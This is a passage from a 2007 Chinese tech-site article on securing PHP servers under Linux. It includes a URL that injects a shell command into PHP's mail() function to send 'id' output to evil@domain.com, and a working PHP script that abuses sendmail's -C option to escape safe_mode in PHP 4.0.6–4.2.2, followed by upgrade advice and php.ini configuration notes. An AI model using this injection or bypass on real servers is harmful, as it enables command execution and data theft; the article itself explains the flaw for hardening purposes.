豆豆网 > 技术应用 > 程序设计 > PHP > 正文

Linux操作系统下PHP服务器安全配置技巧

http://tech.ddvip.com 2007年08月24日社区交流

关键字： PHP foreach Parse error MySQL PHP开发缓存技术

内容摘要：Linux操作系统下PHP服务器安全配置技巧

<? mail("foo@bar,"foo","bar","",$bar); ?>

　　执行如下的URL：

　　http://foo.com/evil.php?bar=;/usr/bin/id|mail evil@domain.com

　　这将id执行的结果发送给evil@domain.com。

　　对于4.0.6至4.2.2的PHP突破safe_mode限制其实是利用了sendmail的-C参数，所以系统必须是使用sendmail。如下的代码能够突破safe_mode限制执行命令：

<?
# 注意，下面这两个必须是不存在的，或者它们的属主和本脚本的属主是一样
$script="/tmp/script123";
$cf="/tmp/cf123";
$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);
$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);
mail("nobody", "", "", "", "-C$cf");
?>

　　还是使用以上有问题版本PHP的用户一定要及时升级到最新版本，这样才能消除基本的安全问题。

　　三、PHP本身的安全配置

　　PHP的配置非常灵活，可以通过php.ini, httpd.conf, .htaccess文件（该目录必须设置了AllowOverride All或Options）进行设置，还可以在脚本程序里使用ini_set()及其他的特定的函数进行设置。通过phpinfo()和get_cfg_var()函数可以得到配置选项的各个值。

　　如果配置选项是唯一PHP_INI_SYSTEM属性的，必须通过php.ini和httpd.conf来修改，它们修改的是PHP的Master值，但修改之后必须重启apache才能生效。其中php.ini设置的选项是对Web服务器所有脚本生效，httpd.conf里设置的选项是对该定义的目录下所有脚本生效。

责编：豆豆技术应用

点击发表评论

正在加载评论...

php专题推荐

精华文章推荐